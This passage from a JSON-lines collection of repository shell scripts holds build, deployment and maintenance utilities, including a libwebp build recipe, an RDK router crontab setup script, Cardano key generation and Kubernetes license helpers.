$MOUNTPOINT/proc\numount $MOUNTPOINT/dev\numount $MOUNTPOINT\nfin=$(date +%s)\nt=$((fin-begin))\necho \"Finished building image $IMAGELOC in $t seconds\""} {"text": "<gh_stars>0\n#!/bin/bash\npython3 -m http.server\n\n# Visit \"127.0.0.1:8000\" in the browser"} {"text": "<reponame>shfshf/seq2annotation\n#!/usr/bin/env bash\n\ndocker login uhub.service.ucloud.cn"} {"text": "<reponame>x7c1/plus\n#!/usr/bin/env bash\n\nset -xue\n\nmain() {\n apt-get update\n apt-get install -y \\\n jq \\\n xz-utils \\\n musl-tools \\\n libssl-dev \\\n pkg-config \\\n tree\n\n echo \"done!\"\n}\n\nmain"} {"text": "#!/usr/bin/env bash\n\nMASON_NAME=webp\nMASON_VERSION=0.6.0\nMASON_LIB_FILE=lib/libwebp.a\nMASON_PKGCONFIG_FILE=lib/pkgconfig/libwebp.pc\n\n. ${MASON_DIR}/mason.sh\n\nfunction mason_load_source {\n mason_download \\\n http://downloads.webmproject.org/releases/webp/libwebp-$MASON_VERSION.tar.gz \\\n 7669dc9a7c110cafc9e352d3abc1753bcb465dc0\n\n mason_extract_tar_gz\n\n export MASON_BUILD_PATH=${MASON_ROOT}/.build/libwebp-${MASON_VERSION}\n}\n\nfunction mason_compile {\n\n # note CFLAGS overrides defaults\n # -fvisibility=hidden -Wall -Wdeclaration-after-statement -Wextra -Wfloat-conversion -Wformat -Wformat-nonliteral -Wformat -Wformat-security -Wmissing-declarations -Wmissing-prototypes -Wold-style-definition -Wshadow -Wshorten-64-to-32 -Wunreachable-code -Wunused -Wvla -g -O2\n # so we need to add optimization flags back\n export CFLAGS=\"${CFLAGS:-} -O3 -DNDEBUG -fvisibility=hidden -Wall\"\n\n # -mfpu=neon is not enabled by default for cortex_a9 because\n # it affects floating point precision. webp is fine with it.\n # See: https://gcc.gnu.org/onlinedocs/gcc/ARM-Options.html\n # this avoids the error from webp of:\n # #error You must enable NEON instructions (e.g. -mfloat-abi=softfp -mfpu=neon) to use arm_neon.h\n if [[ ${MASON_PLATFORM_VERSION} == \"cortex_a9\" ]]; then\n CFLAGS=\"${CFLAGS:-} -mfloat-abi=softfp -mfpu=neon\"\n fi\n\n # TODO(springmeyer) - why is --enable-swap-16bit-csp enabled?\n ./configure \\\n --prefix=${MASON_PREFIX} \\\n ${MASON_HOST_ARG} \\\n --enable-static \\\n --disable-shared \\\n --with-pic \\\n --disable-cwebp \\\n --disable-dwebp \\\n --enable-swap-16bit-csp \\\n --disable-gl \\\n --disable-png \\\n --disable-jpeg \\\n --disable-tiff \\\n --disable-gif \\\n --disable-wic \\\n --disable-dependency-tracking\n\n # Must do make clean after configure to clear out object files left over\n # from previous build on different architecture\n make clean\n make V=1 -j${MASON_CONCURRENCY}\n make install -j${MASON_CONCURRENCY}\n}\n\nfunction mason_strip_ldflags {\n ldflags=()\n while [[ ${1:-} ]]\n do\n case \"$1\" in\n -lwebp)\n shift\n ;;\n -L*)\n shift\n ;;\n *)\n ldflags+=(\"$1\")\n shift\n ;;\n esac\n done\n echo \"${ldflags[@]}\"\n}\n\nfunction mason_ldflags {\n mason_strip_ldflags $(`mason_pkgconfig` --static --libs)\n}\n\nfunction mason_clean {\n make clean\n}\n\nmason_run \"$@\""} {"text": "#!/bin/sh\n##########################################################################\n# If not stated otherwise in this file or this component's Licenses.txt\n# file the following copyright and licenses apply:\n#\n# Copyright 2015 RDK Management\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n##########################################################################\n\n#######################################################################\n# Copyright [2014] [Cisco Systems, Inc.]\n# \n# Licensed under the Apache License, Version 2.0 (the \\\"License\\\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \\\"AS IS\\\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#######################################################################\n\n# ----------------------------------------------------------------------------\n# This script prepares cron files and brings up a crond\n# The prepared configuration files will have the cron daemon\n# execute all files in a well-known directory at predictables times.\n# \n# Also this script creates a script to be run by the cron daemon on \n# a daily basis. The purpose of that script will be to trigger the\n# ddns-start event\n# ----------------------------------------------------------------------------\n\nsource /etc/utopia/service.d/ulog_functions.sh\nsource /etc/utopia/service.d/log_capture_path.sh\nif [ -f /lib/rdk/utils.sh ];then\n . /lib/rdk/utils.sh\nfi\nif [ -f /etc/device.properties ]\nthen\n source /etc/device.properties\nfi\n\nSERVICE_NAME=\"crond\"\nSELF_NAME=\"`basename $0`\"\n#BOX_TYPE=`cat /etc/device.properties | grep BOX_TYPE | cut -f2 -d=`\n\nservice_start () \n{\n echo_t \"SERVICE_CROND : starting ${SERVICE_NAME} service\"\n ulog ${SERVICE_NAME} status \"starting ${SERVICE_NAME} service\" \n\n killall crond\n \n CRONTAB_DIR=\"/var/spool/cron/crontabs/\"\n CRONTAB_FILE=$CRONTAB_DIR\"root\"\n if [ ! -e $CRONTAB_FILE ] || [ ! -e \"/etc/cron/cron.monthly\" ] ; then\n echo_t \"SERVICE_CROND : creating cron files\"\n # make a pseudo random seed from our mac address\n # we will get the same values of random over reboots\n # but there will be divergence of values accross hosts\n # which is the property we are looking for\n INT=wan0\n OUR_MAC=`ip link show $INT | grep link | awk '{print $2}'`\n MAC1=`echo $OUR_MAC | awk 'BEGIN { FS = \":\" } ; { printf (\"%d\", \"0x\"$6) }'`\n MAC2=`echo $OUR_MAC | awk 'BEGIN { FS = \":\" } ; { printf (\"%d\", \"0x\"$5) }'`\n RANDOM=`expr $MAC1 \\* $MAC2`\n \n mkdir -p $CRONTAB_DIR\n \n echo \"* * * * * execute_dir /etc/cron/cron.everyminute\" > $CRONTAB_FILE\n echo \"1,6,11,16,21,26,31,36,41,46,51,56 * * * * execute_dir /etc/cron/cron.every5minute\" >> $CRONTAB_FILE\n echo \"2,12,22,32,42,52 * * * * execute_dir /etc/cron/cron.every10minute\" >> $CRONTAB_FILE\n num1=$RANDOM\n rand1=`expr $num1 % 60`\n echo \"$rand1 * * * * execute_dir /etc/cron/cron.hourly\" >> $CRONTAB_FILE\n echo \"1 */6 * * * /rdklogger/rxtx100.sh\" >> $CRONTAB_FILE\n echo \"10 */6 * * * /usr/ccsp/tad/getSsidNames.sh\" >> $CRONTAB_FILE\n#rdkb-4297 Runs on the 1st minute of every 12th hour\n echo \"1 */12 * * * /usr/ccsp/pam/moca_status.sh\" >> $CRONTAB_FILE\n#RDKB-17984: Runs every 12 hours and prints mesh status\n if [ \"$BOX_TYPE\" != \"XB3\" ]; then\n echo \"1 */12 * * * /usr/ccsp/wifi/mesh_status.sh\" >> $CRONTAB_FILE\n fi\n\n if [ \"$BOX_TYPE\" == \"XB3\" ]; then\n echo \"*/10 * * * * /rdklogger/log_ps_cpu_mem_host.sh\" >> $CRONTAB_FILE\n fi\n #zqiu: monitor lan client traffic\n echo \"* * * * * /usr/ccsp/tad/rxtx_lan.sh\" >> $CRONTAB_FILE\n\n echo \"1 */6 * * * /usr/ccsp/tad/log_sixhourly.sh\" >> $CRONTAB_FILE\n#RDKB-9367, file handle monitor, needs to be run every 12 hours\n echo \"1 */12 * * * /usr/ccsp/tad/FileHandle_Monitor.sh\" >> $CRONTAB_FILE\n\n\n if [ \"$MODEL_NUM\" = \"DPC3941B\" ] || [ \"$MODEL_NUM\" = \"DPC3939B\" ] || [ \"$MODEL_NUM\" = \"CGA4131COM\" ] || [ \"$MODEL_NUM\" = \"CGA4332COM\" ]; then\n echo \"*/15 * * * * /usr/ccsp/tad/log_staticIP_client_info.sh\" >> $CRONTAB_FILE\n fi\n \n num1=$RANDOM\n num2=$RANDOM\n rand1=`expr $num1 % 60`\n rand2=`expr $num2 % 24`\n echo \"$rand1 $rand2 * * * execute_dir /etc/cron/cron.daily\" >> $CRONTAB_FILE\n num1=$RANDOM\n num2=$RANDOM\n num3=$RANDOM\n rand1=`expr $num1 % 60`\n rand2=`expr $num2 % 24`\n rand3=`expr $num3 % 7`\n echo \"$rand1 $rand2 * * $rand3 execute_dir /etc/cron/cron.weekly\" >> $CRONTAB_FILE\n num1=$RANDOM\n num2=$RANDOM\n num3=$RANDOM\n rand1=`expr $num1 % 60`\n rand2=`expr $num2 % 24`\n rand3=`expr $num3 % 28`\n echo \"$rand1 $rand2 $rand3 * * execute_dir /etc/cron/cron.monthly\" >> $CRONTAB_FILE\n \n # update mso potd every midnight at 00:05\n echo \"5 0 * * * sysevent set potd-start\" >> $CRONTAB_FILE \n\n # Generate Firewall statistics hourly\n if [ \"$BOX_TYPE\" = \"XB6\" -a \"$MANUFACTURE\" = \"Arris\" ] || [ \"$MODEL_NUM\" = \"INTEL_PUMA\" ] ; then\n \t#Intel Proposed RDKB Generic Bug Fix from XB6 SDK\n \t#Don't Zero iptable Counter\n \techo \"58 * * * * /usr/bin/GenFWLog -nz\" >> $CRONTAB_FILE\n else\n \techo \"58 * * * * /usr/bin/GenFWLog\" >> $CRONTAB_FILE\n fi\n\n\t # Monitor syscfg DB every 15minutes \n echo \"*/15 * * * * /usr/ccsp/tad/syscfg_recover.sh\" >> $CRONTAB_FILE\n\n # Monitor resource_monitor.sh every 5 minutes TCCBR-3288\n# if [ \"$BOX_TYPE\" = \"TCCBR\" ]; then \n echo \"*/5 * * * * /usr/ccsp/tad/resource_monitor_recover.sh\" >> $CRONTAB_FILE\n# fi\n\n # RDKB-23651\n if [ \"x$THERMALCTRL_ENABLE\" == \"xtrue\" ]; then\n echo \"*/15 * * * * /usr/ccsp/tad/check_fan.sh\" >> $CRONTAB_FILE\n fi\n\n if [ \"$BOX_TYPE\" == \"HUB4\" ] || [ \"$BOX_TYPE\" == \"SR300\" ]; then\n # add syncing the timeoffset everyday at 01:00 AM\n echo \"0 1 * * * /etc/sky/sync_timeoffset.sh\" >> $CRONTAB_FILE\n\n #To monitor all wifi interface packets in every 15minutes\n echo \"*/15 * * * * /etc/sky/monitor_wifi_packets.sh\" >> $CRONTAB_FILE\n\n #To monitor all wifi interface dhd dump in every 1hour\n addCron \"48 * * * * sh /etc/sky/monitor_dhd_dump.sh &\"\n fi\n\n # Logging current chain mask value of 2G - runs on 1st minute of every 12th hour - only for 3941 box\n MODEL=\"`grep MODEL_NUM /etc/device.properties | cut -d \"=\" -f2`\"\n if [ -n \"$(echo $MODEL | grep 3941)\" ]; then\n echo \"1 */12 * * * rpcclient 169.254.101.2 \\\"/etc/ath/CurrentChainMask_Logging.sh\\\"\" >> $CRONTAB_FILE\n fi\n\n # Add Unique Telemetry ID if enabled\n telemtery_enable=`syscfg get unique_telemetry_enable`\n telemtery_time_interval=`syscfg get unique_telemetry_interval`\n telemtery_tag=`syscfg get unique_telemetry_tag`\n\n if [ \"$telemtery_enable\" = \"true\" ] && [ 0$telemtery_time_interval -gt 0 ] && [ ! -z \"$telemtery_tag\" -a \"$telemtery_tag\" != \" \" ] ; then\n #Convert time interval(in minutes) to days, hours and minutes\n d=$(($telemtery_time_interval / (60*24)))\n h=$((($telemtery_time_interval % (60*24)) / 60))\n m=$((($telemtery_time_interval % (60*24)) % 60))\n\n if [ $d -gt 0 ] ; then\n day=\"*/$d\"\n hour=\"$h\"\n mins=\"$m\"\n elif [ $h -gt 0 ] ; then\n day=\"*\"\n hour=\"*/$h\"\n mins=\"$m\"\n else\n day=\"*\"\n hour=\"*\"\n mins=\"*/$m\"\n fi\n\n echo \"$mins $hour $day * * /usr/ccsp/pam/unique_telemetry_id.sh\" >> $CRONTAB_FILE\n fi\n\n # monitor syslog every 5 minute\n# echo \"#! /bin/sh\" > /etc/cron/cron.every5minute/log_every5minute.sh\n# echo \"/usr/sbin/log_handle.sh\" >> /etc/cron/cron.every5minute/log_every5minute.sh\n# chmod 700 /etc/cron/cron.every5minute/log_every5minute.sh\n\n\t #monitor start-misc in case wan is not online\n addCron \"* * * * * /etc/utopia/service.d/misc_handler.sh\"\n\n addCron \"* * * * * /usr/ccsp/tad/selfheal_bootup.sh\"\n\n\t #monitor cosa_start_rem triggered state in case its not triggered on \n\t #bootup even after 10 minutes then we have to trigger this via cron\n addCron \"2,12,22,32,42,52 * * * * /usr/ccsp/tad/selfheal_cosa_start_rem.sh\"\n\t\n\n\t#This variable is to check RFC ETHWAN Mode Enabled/Disabled from syscfg DB\n\trfc_ethwan_status=\"\"\n\trfc_ethwan_status=`syscfg get eth_wan_enabled`\n\n\t#This variable is to check RFC WANLinkHeal Enabled/Disabled from syscfg DB\n\trfc_wanlinkheal_status=\"\"\n\trfc_wanlinkheal_status=`syscfg get wanlinkheal`\n\n\t#To invoke start_gw_health script on bootup-check, Follwing condition need to statisfy\n\t#RFC ETHWAN should be false/null and WAN_TYPE should be DOCSIS\n\t#RF WANLinkHeal should be true and BOX_TYPE should be plaftorm specfic\n\t#In CISCOXB3 platform, does not have WAN_TYPE paramenter in /etc/device.properties file, So added MODEL_NUM Check along with WAN_TYPE.\n\tif [ \"x$rfc_ethwan_status\" == \"xfalse\" ] || [ \"$rfc_ethwan_status\" == \"\" ]; then\n\t\tif [ \"x$WAN_TYPE\" == \"xDOCSIS\" ] || [ \"x$MODEL_NUM\" == \"xDPC3941\" ] || [ \"x$MODEL_NUM\" == \"xDPC3941B\" ] || [ \"x$MODEL_NUM\" == \"xDPC3939B\" ]; then\n\t\t\tif [ \"x$rfc_wanlinkheal_status\" == \"xtrue\" ]; then\n\t\t\t\tif [ \"x$BOX_TYPE\" == \"xXB3\" ] || [ \"x$BOX_TYPE\" == \"xXB6\" ] || [ \"x$BOX_TYPE\" == \"xTCCBR\" ]; then\n\t\t\t\t\techo_t \"RFC WANLinkHeal Feature is Enabled\"\n addCron \"2,12,22,32,42,52 * * * * /usr/ccsp/tad/start_gw_heath.sh\"\n\t\t\t\telse\n\t\t\t\t\techo_t \"RFC WANLinkHeal Feature is not Enabled\"\n\t\t\t\tfi\n\t\t\telse\n\t\t\t\techo_t \"Set RFC WANLinkHeal flag to Enable for WANLinkHeal Feature support\"\n\t\t\tfi\n\t\telse\n\t\t\techo_t \"This Device WAN TYPE is not DOCSIS, Needed DOCSIS type Device for WANLinkHeal\"\n\t\tfi\n\telse\n\t\techo_t \"This Device should not enabled ETHWAN mode\"\n\tfi\n\n fi\n \n\n\n \n # start the cron daemon\n # echo \"[utopia][registration] Starting cron daemon\"\n echo_t \"SERVICE_CROND : Starting cron daemon\"\n crond -l 9\n\n sysevent set ${SERVICE_NAME}-status \"started\"\n}\n\nservice_stop () \n{\n echo_t \"SERVICE_CROND : stopping ${SERVICE_NAME} service\"\n ulog ${SERVICE_NAME} status \"stopping ${SERVICE_NAME} service\" \n killall crond\n sysevent set ${SERVICE_NAME}-status \"stopped\"\n}\n\n# Entry\necho_t \"SERVICE_CROND : event $1\"\ncase \"$1\" in\n ${SERVICE_NAME}-start)\n service_start\n ;;\n ${SERVICE_NAME}-stop)\n service_stop\n ;;\n ${SERVICE_NAME}-restart)\n service_stop\n service_start\n ;;\n ntpclient-status)\n STATUS=`sysevent get ntpclient-status`\n if [ \"started\" = \"$STATUS\" ] ; then \n ulog ${SERVICE_NAME} status \"restarting ${SERVICE_NAME} service\" \n killall crond\n crond -l 9\n fi\n ;;\n *)\n echo \"Usage: $SELF_NAME [${SERVICE_NAME}-start | ${SERVICE_NAME}-stop | ${SERVICE_NAME}-restart]\" >&2\n exit 3\n ;;\nesac"} {"text": "<filename>testnet_single/scripts/create_payment_keys.sh<gh_stars>0\n#!/bin/bash\n\nif [[ $# -ge 1 && ! $1 == \"\" ]]; then bin_name=$1; else echo -e \"This script requires input parameters:\\n\\tUsage: $0 {key_name} {out_dir:optional}\"; exit 2; fi\n\n# if out_dir exists, we cd into it to create keys there, otherwise keys are created in current directory\nif [ ! -z \"$2\" ]; then\n cd $2\nfi\n\n# generate payment key pair\ncardano-cli address key-gen \\\n--verification-key-file $1.vkey \\\n--signing-key-file $1.skey\n\nchmod 400 $1.vkey $1.skey\n\n# generate payment address\ncardano-cli address build \\\n--payment-verification-key-file $1.vkey \\\n--out-file $1.addr \\\n--testnet-magic 1097911063\n\nchmod 400 $1.addr"} {"text": "#!/bin/sh\n[ $(id -u) -ne 0 ] && echo root is required && exit 1\nrm /usr/lib/systemd/system/systemd-linuxd.service\nrm /usr/lib/linuxd"} {"text": "#!/bin/bash\n\nclear\n\ntype \"got_ssk\" >/dev/null 2>&1 && echo \"SSKit functions imported\" || echo \"SSKit functions not imported\""} {"text": "#!/usr/bin/env bash\n# Tags: no-parallel\n\nCUR_DIR=$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\n# shellcheck source=../shell_config.sh\n. \"$CUR_DIR\"/../shell_config.sh\n\n\ncurrent_dns_errors=$($CLICKHOUSE_CLIENT --query \"SELECT sum(value) FROM system.events where event = 'DNSError';\")\n${CLICKHOUSE_CLIENT} --query \"SELECT * FROM remote('ThisHostNameDoesNotExistSoItShouldFail', system, one)\" 2>/dev/null\n${CLICKHOUSE_CLIENT} --query \"SELECT 'first_check', sum(value) > ${current_dns_errors} FROM system.events where event = 'DNSError';\"\n\ncurrent_dns_errors=$($CLICKHOUSE_CLIENT --query \"SELECT sum(value) FROM system.events where event = 'DNSError';\")\n${CLICKHOUSE_CLIENT} --query \"SELECT * FROM remote('ThisHostNameDoesNotExistSoItShouldFail2', system, one)\" 2>/dev/null\n${CLICKHOUSE_CLIENT} --query \"SELECT 'second_check', sum(value) > ${current_dns_errors} FROM system.events where event = 'DNSError';\"\n\n${CLICKHOUSE_CLIENT} --query \"SYSTEM DROP DNS CACHE\""} {"text": "<reponame>study-ml/knn-js\n#!/bin/bash\n\nrm dist/knnjs*\nbrowserify src/js/main.js --s knnjs -o dist/knnjs.js\nbrowserify src/js/main.js --s knnjs | uglifyjs -c > dist/knnjs.min.js\nuglifycss src/css/main.css > dist/knnjs.min.css"} {"text": "<filename>serve.sh\n# node ./toBlog.js\r\nbundle exec jekyll serve"} {"text": "<filename>products/bash/license-helper.sh\n#!/bin/bash\n#*******************************************************************************\n# Licensed Materials - Property of IBM\n# (c) Copyright IBM Corporation 2020. All Rights Reserved.\n#\n# Note to U.S. Government Users Restricted Rights:\n# Use, duplication or disclosure restricted by GSA ADP Schedule\n# Contract with IBM Corp.\n#*******************************************************************************\n\n#*******************************************************************************\n# PREREQUISITES:\n# - Logged into cluster on the OC CLI (https://docs.openshift.com/container-platform/4.6/cli_reference/openshift_cli/getting-started-cli.html)\n#\n# USAGE:\n# source ./license-helper.sh; getAceLicense $NAMESPACE\n#*******************************************************************************\n\nLICENSES_CM=\"demo-licenses\"\nDEFAULT_ACE=\"L-KSBM-C87FU2\"\nDEFAULT_APIC=\"L-RJON-C7QFWS\"\nDEFAULT_AR=\"L-PNAA-C68928\"\nDEFAULT_DEMO=\"L-RJON-C7QG5A\"\nDEFAULT_MQ=\"L-RJON-C7QG3S\"\nDEFAULT_TRACING=\"CP4I\"\n\nfunction usage() {\n echo \"Usage: source $0; getAceLicense \\$NAMESPACE\"\n}\n\nwhile getopts \"\" opt; do\n case ${opt} in\n \\?)\n usage\n exit\n ;;\n esac\ndone\n\nfunction getACELicense() {\n ACE_LICENSE=$(oc -n $1 get configmap $LICENSES_CM -ojsonpath='{.data.ace}' 2>/dev/null)\n [[ $? -eq 0 && ! -z $ACE_LICENSE ]] && echo $ACE_LICENSE || echo $DEFAULT_ACE\n}\n\nfunction getAPICLicense() {\n APIC_LICENSE=$(oc -n $1 get configmap $LICENSES_CM -ojsonpath='{.data.apic}' 2>/dev/null)\n [[ $? -eq 0 && ! -z $APIC_LICENSE ]] && echo $APIC_LICENSE || echo $DEFAULT_APIC\n}\n\nfunction getARLicense() {\n AR_LICENSE=$(oc -n $1 get configmap $LICENSES_CM -ojsonpath='{.data.ar}' 2>/dev/null)\n [[ $? -eq 0 && ! -z $AR_LICENSE ]] && echo $AR_LICENSE || echo $DEFAULT_AR\n}\n\nfunction getDemoLicense() {\n DEMO_LICENSE=$(oc -n $1 get configmap $LICENSES_CM -ojsonpath='{.data.demo}' 2>/dev/null)\n [[ $? -eq 0 && ! -z $DEMO_LICENSE ]] && echo $DEMO_LICENSE || echo $DEFAULT_DEMO\n}\n\nfunction getMQLicense() {\n MQ_LICENSE=$(oc -n $1 get configmap $LICENSES_CM -ojsonpath='{.data.mq}' 2>/dev/null)\n [[ $? -eq 0 && ! -z $MQ_LICENSE ]] && echo $MQ_LICENSE || echo $DEFAULT_MQ\n}\n\nfunction getTracingLicense() {\n TRACING_LICENSE=$(oc -n $1 get configmap $LICENSES_CM -ojsonpath='{.data.tracing}' 2>/dev/null)\n [[ $? -eq 0 && ! -z $TRACING_LICENSE ]] && echo $TRACING_LICENSE || echo $DEFAULT_TRACING\n}"} {"text": "#!/bin/bash\n#\n# inst.sh - a simple script to install files stored in a repository\n#\n# Copyright (c) 2015 <NAME>\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n#\n\nmanifest=.instmanifest\n\n[ -f $mainfest ] || exit 2\n\n# read each line and assign fields to variables\n# (the last var \"$junk\" discards everything after the fourth field)\nwhile read -r src dest mode userid groupid junk; do\n # strip out lines that are whitespace or comments\n echo $src | egrep -v '^[[:space:]]*(#)?$' || continue\n sudo install -v -C -D -m $mode -o $userid -g $groupid $src $dest\ndone < $manifest"} {"text": "<filename>azure-k8s-bare/templates/k8s-scripts/autocomplete.sh\n#!/bin/bash\n# -------------------------------------------------------------------\n#\n# Module: k8s-terraform\n# Submodule: templates/k8s-scripts/autocomplete.sh\n# Environments: all\n# Purpose: Setup bash autocomplete for kubectl and write to\n# the .bashrc file to ensure autocomplete at login \n# time\n#\n# Created on: 23 June 2019\n# Created by: <NAME>\n# Creator email: <EMAIL>\n#\n# -------------------------------------------------------------------\n# Modifed On | Modified By | Release Notes\n# -------------------------------------------------------------------\n# 23 Jun 2019 | <NAME> | First release.\n# -------------------------------------------------------------------\n\n# Include the banner function for logging purposes (see \n# templates/banner.sh)\n#\nsource ~/scripts/banner.sh\nbanner \"autocomplete.sh\" \"Enable BASH kubectl autocompletion\"\n\necho \"*** $(date) *** enable autocompletion in shell\"\necho \"source <(kubectl completion bash)\" >> ~/.bashrc\nsleep 2\n\necho \"*** $(date) *** enable autocompletion for current session\"\nsource <(kubectl completion bash)\nsleep 2"} {"text": "<filename>scripts/docker/entrypoint.sh\n#! /bin/bash\n#mix test &&\nmix phoenix.server"} {"text": "PID=$( pgrep -a node | grep http-server | grep localhost | cut -f1 -d' ' )\nif [[ $PID =~ ^[0-9]+$ ]]\nthen\n echo \"found http-server localhost, killing process\"\n kill -- $PID\nfi"} {"text": "#!/usr/bin/env bash\n\n#\n# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n# This script generates the dependency info.\n# Arguments:\n# CUDF_VER - The version of cudf\n# CUDA_CLASSIFIER - The cuda runtime for cudf\n# SPARK_VER - The version of spark\n\n# Parse cudf and spark dependency versions\nset -e\n\nCUDF_VER=$1\nCUDA_CLASSIFIER=$2\nSERVER_ID=snapshots\n# set defualt values for 'M2DIR' & 'WORKSPACE' so that shims can get the correct cudf/spark dependnecy\nM2DIR=${M2DIR:-\"$HOME/.m2/repository\"}\nMY_PATH=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nWORKSPACE=${WORKSPACE:-\"$MY_PATH/..\"}\n${WORKSPACE}/jenkins/printJarVersion.sh \"cudf_version\" \"${M2DIR}/ai/rapids/cudf/${CUDF_VER}\" \"cudf-${CUDF_VER}\" \"-${CUDA_CLASSIFIER}.jar\" $SERVER_ID\n\nSPARK_VER=$3\nSPARK_SQL_VER=`${WORKSPACE}/jenkins/printJarVersion.sh \"spark_version\" \"${M2DIR}/org/apache/spark/spark-sql_2.12/${SPARK_VER}\" \"spark-sql_2.12-${SPARK_VER}\" \".jar\" $SERVER_ID`\n\n# Split spark version from spark-sql_2.12 jar filename\necho ${SPARK_SQL_VER/\"-sql_2.12\"/}"} {"text": "<reponame>chapinb/chickadee\n#!/usr/bin/env bash\ncd ..\nflake8 libchickadee --count --show-source --statistics\ncoverage run -m unittest discover\ncoverage xml\ncoverage report\ncd doc_src || exit\nmake html\ncd ../devscripts || exit"} {"text": "#!/bin/sh\n\n####Global Var\nLOG_ALIAS=\"\"\nLOG_IN_IP=\"\"\nLOG_IN_PWD=\"\"\nLOG_IN_USER=\"\"\n\n##### pwd:complete-name:ip:user\n##### alias:ip\nSERVERS=\"\nmy_svr 127.0.0.1\n\"\n\nfunction echo_err()\n{\n\techo \"[ERROR] $1\"\n}\n\nfunction echo_info()\n{\n\techo \"[_INFO] $1\"\n}\n\n\nfunction do_login()\n{\n\t#echo_info \"${LOG_IN_USER} go server ${LOG_IN_IP}\"\n\techo_info \"go server ${LOG_IN_IP}\"\n\tif [ -z \"${LOG_IN_IP}\" ] ; then\n\t\techo_err \"No login ip\"\n\t\texit 1\t\n\tfi\t\n\n content=\"echo -ne '\\033]0;${LOG_IN_IP}\\007'\"\n command=\"export PROMPT_COMMAND=\\\"${content}\\\"\"\n\tssh -p 32200 ${LOG_IN_IP}\n}\n\nfunction find_server()\n{\n\tcomplete_name=$1;\n\techo_info \"Find server for ${complete_name}.\"\n\tfor server in ${SERVERS}; do\n#\t\techo_info $server;\n\t\tcn=`echo \"${server}\" | awk -F\":\" '{print $1}'`;\n#\t\techo_info $cn;\n\t\tif [ \"$cn\" == \"${complete_name}\" ]; then\n\t\t\t#LOG_ALIAS=\"$cn\";\n\t\t\tLOG_IN_IP=`echo \"${server}\" | awk -F\":\" '{print $2}'`;\n\t\t\t#LOG_IN_PWD=`echo \"${server}\" | awk -F\":\" '{print $1}'`;\n\t\t\t#LOG_IN_USER=`echo \"${server}\" | awk -F\":\" '{print $4}'`;\n\t\t\tbreak;\n\t\tfi\n\tdone\t\t\n}\n\nfunction do_complete()\n{\n\tcc=\"\"\n\tfor server in ${SERVERS}; do\n\t\tcn=`echo \"${server}\" | awk -F\":\" '{print $1}'`;\n\t\tcc=\"${cc} ${cn}\"\n\tdone\n\techo_info \"Do complete -W \\\"${cc}\\\" goplus\"\n\tcomplete -W \"${cc}\" goplus\n}\n\nfunction go_foo()\n{\n\tif [ -z \"$1\" ]; then\n#\t\techo_info \"Init for go.\"\n\t\treturn 0\n\telif [ \"$1\" == \"-c\" ]; then\n\t\t# do complete\n\t\techo \"do complete\"\n\t\tdo_complete\n\telse\n\t\t### find server from parameter\n\t\tfind_server $*; \n\t\t### do login\n\t\tdo_login ;\n\tfi\t\n}\n\ndo_complete\ngo_foo $*"} {"text": "<gh_stars>0\n#!/bin/bash\n\necho '-----------------'\necho 'docker-compose up'\necho ''\necho 'About to run your Hugo app on the local server'\necho 'You will be able to view your app in your browser at the following URL:'\necho 'http://localhost:1313'\necho ''\ndocker-compose up"} {"text": "<reponame>XiaZhouZero/OPEC<filename>compiler/svf_patch/setup_symlinks.sh\n#!/bin/bash\n\nset -e\nset -x\nREPO_ROOT=$(readlink -f `dirname $0`/../..)\nPROJECT_ROOT_DIR=${REPO_ROOT}\n\nSVF_DIR=${PROJECT_ROOT_DIR}/SVF\n\nSYM_LINK='ln -sfn'\necho $PROJECT_ROOT_DIR\necho $SVF_DIR\n\n# soft link for json libs\n${SYM_LINK} ${PROJECT_ROOT_DIR}/compiler/svf_patch/json-include ${SVF_DIR}/include/Util/json\n${SYM_LINK} ${PROJECT_ROOT_DIR}/compiler/svf_patch/jsoncpp.cpp ${SVF_DIR}/lib/Util/jsoncpp.cpp\n\n# soft link for SVF files\n${SYM_LINK} ${PROJECT_ROOT_DIR}/compiler/svf_patch/PointerAnalysis.h ${SVF_DIR}/include/MemoryModel/PointerAnalysis.h\n${SYM_LINK} ${PROJECT_ROOT_DIR}/compiler/svf_patch/WPAStat.h ${SVF_DIR}/include/WPA/WPAStat.h\n${SYM_LINK} 